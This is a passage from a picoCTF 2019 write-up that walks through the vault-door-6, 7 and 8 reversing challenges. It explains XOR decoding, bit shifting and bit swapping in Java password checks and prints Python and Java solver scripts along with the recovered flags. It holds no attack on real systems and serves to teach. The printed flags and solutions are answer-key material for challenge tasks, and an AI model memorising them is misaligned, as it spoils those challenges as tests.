 <span class="mh">0x3b</span><span class="o">,</span> <span class="mh">0x65</span><span class="o">,</span> <span class="mh">0x21</span><span class="o">,</span> <span class="mh">0xa</span> <span class="o">,</span> <span class="mh">0x38</span><span class="o">,</span> <span class="mh">0x0</span> <span class="o">,</span> <span class="mh">0x36</span><span class="o">,</span> <span class="mh">0x1d</span><span class="o">,</span>
 <span class="mh">0xa</span> <span class="o">,</span> <span class="mh">0x3d</span><span class="o">,</span> <span class="mh">0x61</span><span class="o">,</span> <span class="mh">0x27</span><span class="o">,</span> <span class="mh">0x11</span><span class="o">,</span> <span class="mh">0x66</span><span class="o">,</span> <span class="mh">0x27</span><span class="o">,</span> <span class="mh">0xa</span> <span class="o">,</span>
 <span class="mh">0x21</span><span class="o">,</span> <span class="mh">0x1d</span><span class="o">,</span> <span class="mh">0x61</span><span class="o">,</span> <span class="mh">0x3b</span><span class="o">,</span> <span class="mh">0xa</span> <span class="o">,</span> <span class="mh">0x2d</span><span class="o">,</span> <span class="mh">0x65</span><span class="o">,</span> <span class="mh">0x27</span><span class="o">,</span>
 <span class="mh">0xa</span> <span class="o">,</span> <span class="mh">0x63</span><span class="o">,</span> <span class="mh">0x65</span><span class="o">,</span> <span class="mh">0x64</span><span class="o">,</span> <span class="mh">0x67</span><span class="o">,</span> <span class="mh">0x37</span><span class="o">,</span> <span class="mh">0x6d</span><span class="o">,</span> <span class="mh">0x62</span><span class="o">,</span>
 <span class="o">};</span>
 <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="o">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">32</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
 <span class="k">if</span> <span class="o">(((</span><span class="n">passBytes</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">^</span> <span class="mh">0x55</span><span class="o">)</span> <span class="o">-</span> <span class="n">myBytes</span><span class="o">[</span><span class="n">i</span><span class="o">])</span> <span class="o">!=</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
 <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
 <span class="o">}</span>
 <span class="o">}</span>
 <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The key used in the XOR encryption is <code class="language-plaintext highlighter-rouge">0x55</code>.
For XOR encryptions the key that is used to encrypt is also used to decrypt messages, and the algorithm used to decrypt is the same used to encrypt.</p>

<p>To solve this all we need to do is run a quick Python script.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">enc</span> <span class="o">=</span> <span class="p">[</span>
 <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0xa</span> <span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x0</span> <span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1d</span><span class="p">,</span>
 <span class="mh">0xa</span> <span class="p">,</span> <span class="mh">0x3d</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0xa</span> <span class="p">,</span>
 <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x1d</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0xa</span> <span class="p">,</span> <span class="mh">0x2d</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span>
 <span class="mh">0xa</span> <span class="p">,</span> <span class="mh">0x63</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x6d</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,]</span>
<span class="k">print</span><span class="p">(</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">chr</span><span class="p">,</span> <span class="p">[</span> <span class="n">x</span> <span class="o">^</span> <span class="mh">0x55</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">enc</span><span class="p">])))</span>
</code></pre></div></div>

<p>We use a simple list comprehension to quickly XOR all the bytes, following that we print out the ASCII representation.
We get the following output: <code class="language-plaintext highlighter-rouge">n0t_mUcH_h4rD3r_tH4n_x0r_6012b87</code>.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_6012b87}</code></p>

<h1 id="vault-door-7">vault-door-7</h1>

<h2 id="problem-6">Problem</h2>

<p>This vault uses bit shifts to convert a password string into an array of integers. Hurry, agent, we are running out of time to stop Dr. Evil’s nefarious plans! The source code for this vault is here: <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/vault-door-7/VaultDoor7.java">VaultDoor7.java</a></p>

<p>Hint: Use a decimal/hexadecimal converter such as this one: <a href="https://www.mathsisfun.com/binary-decimal-hexadecimal-converter.html">https://www.mathsisfun.com/binary-decimal-hexadecimal-converter.html</a></p>

<p>Hint: You will also need to consult an ASCII table such as this one: <a href="https://www.asciitable.com/">https://www.asciitable.com/</a></p>

<h2 id="solution-6">Solution</h2>

<p>Looking at the source for this challenge we see it is a little different than the other ones we have faced.
This time we need to understand <a href="https://en.wikipedia.org/wiki/Bitwise_operation#Bit_shifts">bit shifting</a>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">checkPassword</span><span class="o">(</span><span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
 <span class="k">if</span> <span class="o">(</span><span class="n">password</span><span class="o">.</span><span class="na">length</span><span class="o">()</span> <span class="o">!=</span> <span class="mi">32</span><span class="o">)</span> <span class="o">{</span>
 <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
 <span class="o">}</span>
 <span class="kt">int</span><span class="o">[]</span> <span class="n">x</span> <span class="o">=</span> <span class="n">passwordToIntArray</span><span class="o">(</span><span class="n">password</span><span class="o">);</span>
 <span class="k">return</span> <span class="n">x</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span> <span class="o">==</span> <span class="mi">1096770097</span>
 <span class="o">&amp;&amp;</span> <span class="n">x</span><span class="o">[</span><span class="mi">1</span><span class="o">]</span> <span class="o">==</span> <span class="mi">1952395366</span>
 <span class="o">&amp;&amp;</span> <span class="n">x</span><span class="o">[</span><span class="mi">2</span><span class="o">]</span> <span class="o">==</span> <span class="mi">1600270708</span>
 <span class="o">&amp;&amp;</span> <span class="n">x</span><span class="o">[</span><span class="mi">3</span><span class="o">]</span> <span class="o">==</span> <span class="mi">1601398833</span>
 <span class="o">&amp;&amp;</span> <span class="n">x</span><span class="o">[</span><span class="mi">4</span><span class="o">]</span> <span class="o">==</span> <span class="mi">1716808014</span>
 <span class="o">&amp;&amp;</span> <span class="n">x</span><span class="o">[</span><span class="mi">5</span><span class="o">]</span> <span class="o">==</span> <span class="mi">1734304870</span>
 <span class="o">&amp;&amp;</span> <span class="n">x</span><span class="o">[</span><span class="mi">6</span><span class="o">]</span> <span class="o">==</span> <span class="mi">895891557</span>
 <span class="o">&amp;&amp;</span> <span class="n">x</span><span class="o">[</span><span class="mi">7</span><span class="o">]</span> <span class="o">==</span> <span class="mi">1681142832</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>We see within the normal <code class="language-plaintext highlighter-rouge">checkPassword</code> function we pass our input <code class="language-plaintext highlighter-rouge">password</code> to a <code class="language-plaintext highlighter-rouge">passwordToIntArray</code> function.
The values returned by this function are checked against hardcoded values.
The first thing we should do is looking into how the output array is generated by <code class="language-plaintext highlighter-rouge">passwordToIntArray</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">int</span><span class="o">[]</span> <span class="nf">passwordToIntArray</span><span class="o">(</span><span class="nc">String</span> <span class="n">hex</span><span class="o">)</span> <span class="o">{</span>
 <span class="kt">int</span><span class="o">[]</span> <span class="n">x</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">int</span><span class="o">[</span><span class="mi">8</span><span class="o">];</span>
 <span class="kt">byte</span><span class="o">[]</span> <span class="n">hexBytes</span> <span class="o">=</span> <span class="n">hex</span><span class="o">.</span><span class="na">getBytes</span><span class="o">();</span>
 <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="o">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">8</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
 <span class="n">x</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">hexBytes</span><span class="o">[</span><span class="n">i</span><span class="o">*</span><span class="mi">4</span><span class="o">]</span> <span class="o">&lt;&lt;</span> <span class="mi">24</span>
 <span class="o">|</span> <span class="n">hexBytes</span><span class="o">[</span><span class="n">i</span><span class="o">*</span><span class="mi">4</span><span class="o">+</span><span class="mi">1</span><span class="o">]</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span>
 <span class="o">|</span> <span class="n">hexBytes</span><span class="o">[</span><span class="n">i</span><span class="o">*</span><span class="mi">4</span><span class="o">+</span><span class="mi">2</span><span class="o">]</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span>
 <span class="o">|</span> <span class="n">hexBytes</span><span class="o">[</span><span class="n">i</span><span class="o">*</span><span class="mi">4</span><span class="o">+</span><span class="mi">3</span><span class="o">];</span>
 <span class="o">}</span>
 <span class="k">return</span> <span class="n">x</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Inside <code class="language-plaintext highlighter-rouge">passwordToIntArray</code> we see it takes a string which it refers to as <code class="language-plaintext highlighter-rouge">hex</code>.
It generates an empty int array of size 8 and then uses string’s <a href="https://docs.oracle.com/javase/7/docs/api/java/lang/String.html#getBytes()"><code class="language-plaintext highlighter-rouge">getBytes</code></a> function on hex.
This will encode the string as a sequence of bytes and return the output as an array.
Following the conversion of our input array, we enter a for loop that runs 8 times, with four characters of our input string being transformed each run.</p>

<p>The <code class="language-plaintext highlighter-rouge">&lt;&lt;</code> refers to a bit shift, a signed bit shift to the left, in Java.
So if we had <code class="language-plaintext highlighter-rouge">0001</code> and performed « 2 we would have <code class="language-plaintext highlighter-rouge">0100</code> as an output.</p>

<p>Therefore, if we perform a 24-bit shift to the left on a hexadecimal representation of an ASCII character its original 8 bits will be shifted 24 places to the left.
In Java, an integer, which is the type these bits are being transformed into, is 4 bytes or 32 bits.
If our first character was an <code class="language-plaintext highlighter-rouge">A</code> it would be <code class="language-plaintext highlighter-rouge">0x41</code> in hexadecimal and <code class="language-plaintext highlighter-rouge">0b1000001</code> in binary.
To convert this to an integer we will need to zero extend to the 31st place.
Therefore our <code class="language-plaintext highlighter-rouge">A</code> would look like <code class="language-plaintext highlighter-rouge">0b00000000000000000000000001000001</code> and performing a left bit shift of 24 would convert our output to <code class="language-plaintext highlighter-rouge">0b10000010000000000000000000000000</code>.
So, in short, we push our bits that encode an <code class="language-plaintext highlighter-rouge">A</code> to the most significant bit.
This is done three more times, except we do a bit shift of <code class="language-plaintext highlighter-rouge">16</code>, then <code class="language-plaintext highlighter-rouge">8</code>, and then of <code class="language-plaintext highlighter-rouge">0</code>.
All we are doing is smashing four hexadecimal characters together.
If we originally had <code class="language-plaintext highlighter-rouge">ABCD</code> they would be encoded as <code class="language-plaintext highlighter-rouge">[0x41, 0x42, 0x43, 0x44]</code> in our <code class="language-plaintext highlighter-rouge">hexBytes</code> but then in the for loop, they are smashed together to equal <code class="language-plaintext highlighter-rouge">0x41424344</code> or <code class="language-plaintext highlighter-rouge">1094861636</code>.</p>

<p>To get our flag all we need to do is decode the hardcoded values and translate them into their original 1 byte values and then convert them back to ASCII.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dec</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1096770097</span><span class="p">,</span> <span class="mi">1952395366</span><span class="p">,</span>
 <span class="mi">1600270708</span><span class="p">,</span> <span class="mi">1601398833</span><span class="p">,</span>
 <span class="mi">1716808014</span><span class="p">,</span> <span class="mi">1734304870</span><span class="p">,</span>
 <span class="mi">895891557</span><span class="p">,</span> <span class="mi">1681142832</span><span class="p">]</span>
<span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">dec</span><span class="p">:</span>
 <span class="n">value</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">d</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span>
 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">value</span><span class="p">),</span> <span class="mi">2</span><span class="p">):</span>
 <span class="k">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">value</span><span class="p">[</span><span class="n">i</span><span class="p">:</span> <span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">],</span><span class="mi">16</span><span class="p">)),</span><span class="n">end</span> <span class="o">=</span><span class="s">''</span><span class="p">)</span>
</code></pre></div></div>

<p>Running the Python script we will get <code class="language-plaintext highlighter-rouge">A_b1t_0f_b1t_sh1fTiNg_df5f8ed440</code> which if we input into the program we get the success message.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">picoCTF{A_b1t_0f_b1t_sh1fTiNg_df5f8ed440}</code></p>

<h1 id="vault-door-8">vault-door-8</h1>

<h2 id="problem-7">Problem</h2>

<p>Apparently Dr. Evil’s minions knew that our agency was making copies of their source code, because they intentionally sabotaged this source code in order to make it harder for our agents to analyze and crack into! The result is a quite mess, but I trust that my best special agent will find a way to solve it. The source code for this vault is here: <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/vault-door-8/VaultDoor8.java">VaultDoor8.java</a></p>

<p>Hint: Clean up the source code so that you can read it and understand what is going on.</p>

<p>Hint: Draw a diagram to illustrate which bits are being switched in the scramble() method, then figure out a sequence of bit switches to undo it. You should be able to reuse the switchBits() method as is.</p>

<h2 id="solution-7">Solution</h2>

<p>Out of all the vault door challenge this took me the most amount of time.
First things first, we need to clean up this obfuscated source code.
I used <a href="https://www.tutorialspoint.com/online_java_formatter.htm">tutorialspoint online Java formatter</a>, but anything will do the trick.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// These pesky special agents keep reverse engineering our source code and then</span>
<span class="c1">// breaking into our secret vaults. THIS will teach those sneaky sneaks a</span>
<span class="c1">// lesson.</span>
<span class="c1">//</span>
<span class="c1">// -Minion #0891</span>
<span class="kn">import</span> <span class="nn">java.util.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.Cipher</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.spec.SecretKeySpec</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.*</span><span class="o">;</span>
<span class="kd">class</span> <span class="nc">VaultDoor8</span> <span class="o">{</span>
 <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span> <span class="n">args</span><span class="o">[])</span> <span class="o">{</span>
 <span class="nc">Scanner</span> <span class="n">b</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Scanner</span><span class="o">(</span><span class="nc">System</span><span class="o">.</span><span class="na">in</span><span class="o">);</span>
 <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">print</span><span class="o">(</span><span class="s">"Enter vault password: "</span><span class="o">);</span>
 <span class="nc">String</span> <span class="n">c</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="na">next</span><span class="o">();</span>
 <span class="nc">String</span> <span class="n">f</span> <span class="o">=</span> <span class="n">c</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">8</span><span class="o">,</span> <span class="n">c</span><span class="o">.</span><span class="na">length</span><span class="o">()</span> <span class="o">-</span> <span class="mi">1</span><span class="o">);</span>
 <span class="nc">VaultDoor8</span> <span class="n">a</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">VaultDoor8</span><span class="o">();</span>
 <span class="k">if</span> <span class="o">(</span><span class="n">a</span><span class="o">.</span><span class="na">checkPassword</span><span class="o">(</span><span class="n">f</span><span class="o">))</span> <span class="o">{</span>
 <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Access granted."</span><span class="o">);</span>
 <span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
 <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Access denied!"</span><span class="o">);</span>
 <span class="o">}</span>
 <span class="o">}</span>
 <span class="kd">public</span> <span class="kt">char</span><span class="o">[]</span> <span class="nf">scramble</span><span class="o">(</span><span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span> <span class="cm">/* Scramble a password by transposing pairs of bits. */</span>
 <span class="kt">char</span><span class="o">[]</span> <span class="n">a</span> <span class="o">=</span> <span class="n">password</span><span class="o">.</span><span class="na">toCharArray</span><span class="o">();</span>
 <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">b</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">b</span> <span class="o">&lt;</span> <span class="n">a</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> <span class="n">b</span><span class="o">++)</span> <span class="o">{</span>
 <span class="kt">char</span> <span class="n">c</span> <span class="o">=</span> <span class="n">a</span><span class="o">[</span><span class="n">b</span><span class="o">];</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="mi">2</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="mi">3</span><span class="o">);</span> <span class="cm">/* c = switchBits(c,14,3); c = switchBits(c, 2, 0); */</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">5</span><span class="o">,</span> <span class="mi">6</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">4</span><span class="o">,</span> <span class="mi">7</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="mi">1</span><span class="o">);</span> <span class="cm">/* d = switchBits(d, 4, 5); e = switchBits(e, 5, 6); */</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">3</span><span class="o">,</span> <span class="mi">4</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="mi">5</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">6</span><span class="o">,</span> <span class="mi">7</span><span class="o">);</span>
 <span class="n">a</span><span class="o">[</span><span class="n">b</span><span class="o">]</span> <span class="o">=</span> <span class="n">c</span><span class="o">;</span>
 <span class="o">}</span>
 <span class="k">return</span> <span class="n">a</span><span class="o">;</span>
 <span class="o">}</span>
 <span class="kd">public</span> <span class="kt">char</span> <span class="nf">switchBits</span><span class="o">(</span><span class="kt">char</span> <span class="n">c</span><span class="o">,</span> <span class="kt">int</span> <span class="n">p1</span><span class="o">,</span> <span class="kt">int</span> <span class="n">p2</span><span class="o">)</span> <span class="o">{</span>
 <span class="cm">/* Move the bit in position p1 to position p2, and move the bit
 that was in position p2 to position p1. Precondition: p1 &lt; p2 */</span>
 <span class="kt">char</span> <span class="n">mask1</span> <span class="o">=</span> <span class="o">(</span><span class="kt">char</span><span class="o">)(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">p1</span><span class="o">);</span>
 <span class="kt">char</span> <span class="n">mask2</span> <span class="o">=</span> <span class="o">(</span><span class="kt">char</span><span class="o">)(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">p2</span><span class="o">);</span> <span class="cm">/* char mask3 = (char)(1&lt;&lt;p1&lt;&lt;p2); mask1++; mask1--; */</span>
 <span class="kt">char</span> <span class="n">bit1</span> <span class="o">=</span> <span class="o">(</span><span class="kt">char</span><span class="o">)(</span><span class="n">c</span> <span class="o">&amp;</span> <span class="n">mask1</span><span class="o">);</span>
 <span class="kt">char</span> <span class="n">bit2</span> <span class="o">=</span> <span class="o">(</span><span class="kt">char</span><span class="o">)(</span><span class="n">c</span> <span class="o">&amp;</span> <span class="n">mask2</span><span class="o">);</span>
 <span class="cm">/*
 System.out.println("bit1 " + Integer.toBinaryString(bit1));
 System.out.println("bit2 " + Integer.toBinaryString(bit2));
 */</span>
 <span class="kt">char</span> <span class="n">rest</span> <span class="o">=</span> <span class="o">(</span><span class="kt">char</span><span class="o">)(</span><span class="n">c</span> <span class="o">&amp;</span> <span class="o">~(</span><span class="n">mask1</span> <span class="o">|</span> <span class="n">mask2</span><span class="o">));</span>
 <span class="kt">char</span> <span class="n">shift</span> <span class="o">=</span> <span class="o">(</span><span class="kt">char</span><span class="o">)(</span><span class="n">p2</span> <span class="o">-</span> <span class="n">p1</span><span class="o">);</span>
 <span class="kt">char</span> <span class="n">result</span> <span class="o">=</span> <span class="o">(</span><span class="kt">char</span><span class="o">)((</span><span class="n">bit1</span> <span class="o">&lt;&lt;</span> <span class="n">shift</span><span class="o">)</span> <span class="o">|</span> <span class="o">(</span><span class="n">bit2</span> <span class="o">&gt;&gt;</span> <span class="n">shift</span><span class="o">)</span> <span class="o">|</span> <span class="n">rest</span><span class="o">);</span>
 <span class="k">return</span> <span class="n">result</span><span class="o">;</span>
 <span class="o">}</span>
 <span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">checkPassword</span><span class="o">(</span><span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
 <span class="kt">char</span><span class="o">[]</span> <span class="n">scrambled</span> <span class="o">=</span> <span class="n">scramble</span><span class="o">(</span><span class="n">password</span><span class="o">);</span>
 <span class="kt">char</span><span class="o">[]</span> <span class="n">expected</span> <span class="o">=</span> <span class="o">{</span>
 <span class="mh">0xF4</span><span class="o">,</span><span class="mh">0xC0</span><span class="o">,</span><span class="mh">0x97</span><span class="o">,</span> <span class="mh">0xF0</span><span class="o">,</span> <span class="mh">0x77</span><span class="o">,</span> <span class="mh">0x97</span><span class="o">,</span> <span class="mh">0xC0</span><span class="o">,</span> <span class="mh">0xE4</span><span class="o">,</span>
 <span class="mh">0xF0</span><span class="o">,</span> <span class="mh">0x77</span><span class="o">,</span> <span class="mh">0xA4</span><span class="o">,</span> <span class="mh">0xD0</span><span class="o">,</span> <span class="mh">0xC5</span><span class="o">,</span> <span class="mh">0x77</span><span class="o">,</span> <span class="mh">0xF4</span><span class="o">,</span> <span class="mh">0x86</span><span class="o">,</span>
 <span class="mh">0xD0</span><span class="o">,</span> <span class="mh">0xA5</span><span class="o">,</span> <span class="mh">0x45</span><span class="o">,</span> <span class="mh">0x96</span><span class="o">,</span> <span class="mh">0x27</span><span class="o">,</span> <span class="mh">0xB5</span><span class="o">,</span> <span class="mh">0x77</span><span class="o">,</span> <span class="mh">0xC0</span><span class="o">,</span>
 <span class="mh">0xB4</span><span class="o">,</span> <span class="mh">0xD1</span><span class="o">,</span> <span class="mh">0xD2</span><span class="o">,</span> <span class="mh">0x85</span><span class="o">,</span> <span class="mh">0xA4</span><span class="o">,</span> <span class="mh">0xA5</span><span class="o">,</span> <span class="mh">0xC1</span><span class="o">,</span><span class="mh">0x85</span><span class="o">};</span>
 <span class="k">return</span> <span class="nc">Arrays</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">scrambled</span><span class="o">,</span> <span class="n">expected</span><span class="o">);</span>
 <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Instead of trying to figure out how the bit swapping works I just changed the source code by reversing the calls in <code class="language-plaintext highlighter-rouge">scramble</code>.
We will also need to change the input parameter to a character array since we will no longer be passing it as a string.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">char</span><span class="o">[]</span> <span class="nf">scramble</span><span class="o">(</span><span class="kt">char</span> <span class="o">[]</span> <span class="n">a</span><span class="o">)</span> <span class="o">{</span>
 <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">b</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">b</span> <span class="o">&lt;</span> <span class="n">a</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> <span class="n">b</span><span class="o">++)</span> <span class="o">{</span>
 <span class="kt">char</span> <span class="n">c</span> <span class="o">=</span> <span class="n">a</span><span class="o">[</span><span class="n">b</span><span class="o">];</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">6</span><span class="o">,</span> <span class="mi">7</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="mi">5</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">3</span><span class="o">,</span> <span class="mi">4</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="mi">1</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">4</span><span class="o">,</span> <span class="mi">7</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">5</span><span class="o">,</span> <span class="mi">6</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="mi">3</span><span class="o">);</span>
 <span class="n">c</span> <span class="o">=</span> <span class="n">switchBits</span><span class="o">(</span><span class="n">c</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="mi">2</span><span class="o">);</span>
 <span class="n">a</span><span class="o">[</span><span class="n">b</span><span class="o">]</span> <span class="o">=</span> <span class="n">c</span><span class="o">;</span>
 <span class="o">}</span>
 <span class="k">return</span> <span class="n">a</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>If we then change <code class="language-plaintext highlighter-rouge">checkPassword</code> to pass expected to <code class="language-plaintext highlighter-rouge">scramble</code> we can de-scramble the obscured flag and print out the output we should receive the flag.
An additional change to <code class="language-plaintext highlighter-rouge">checkPassword</code> is to remove the parameter that is passed to it.
Also, we will need to change the main so it does not expect input from us anymore.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">checkPassword</span><span class="o">()</span> <span class="o">{</span>

 <span class="kt">char</span><span class="o">[]</span> <span class="n">expected</span> <span class="o">=</span> <span class="o">{</span>
 <span class="mh">0xF4</span><span class="o">,</span><span class="mh">0xC0</span><span class="o">,</span><span class="mh">0x97</span><span class="o">,</span> <span class="mh">0xF0</span><span class="o">,</span> <span class="mh">0x77</span><span class="o">,</span> <span class="mh">0x97</span><span class="o">,</span> <span class="mh">0xC0</span><span class="o">,</span> <span class="mh">0xE4</span><span class="o">,</span>
 <span class="mh">0xF0</span><span class="o">,</span> <span class="mh">0x77</span><span class="o">,</span> <span class="mh">0xA4</span><span class="o">,</span> <span class="mh">0xD0</span><span class="o">,</span> <span class="mh">0xC5</span><span class="o">,</span> <span class="mh">0x77</span><span class="o">,</span> <span class="mh">0xF4</span><span class="o">,</span> <span class="mh">0x86</span><span class="o">,</span>
 <span class="mh">0xD0</span><span class="o">,</span> <span class="mh">0xA5</span><span class="o">,</span> <span class="mh">0x45</span><span class="o">,</span> <span class="mh">0x96</span><span class="o">,</span> <span class="mh">0x27</span><span class="o">,</span> <span class="mh">0xB5</span><span class="o">,</span> <span class="mh">0x77</span><span class="o">,</span> <span class="mh">0xC0</span><span class="o">,</span>
